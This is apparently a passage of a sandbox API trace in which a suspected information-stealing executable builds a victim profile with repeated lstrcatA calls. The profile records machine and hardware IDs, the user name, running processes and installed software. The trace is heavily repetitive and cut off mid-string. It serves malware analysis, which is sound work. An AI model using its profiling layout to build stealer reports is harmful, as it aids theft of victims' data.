[3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable ["
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [", lpString2="8.0.61001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001"
[0054.957] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) 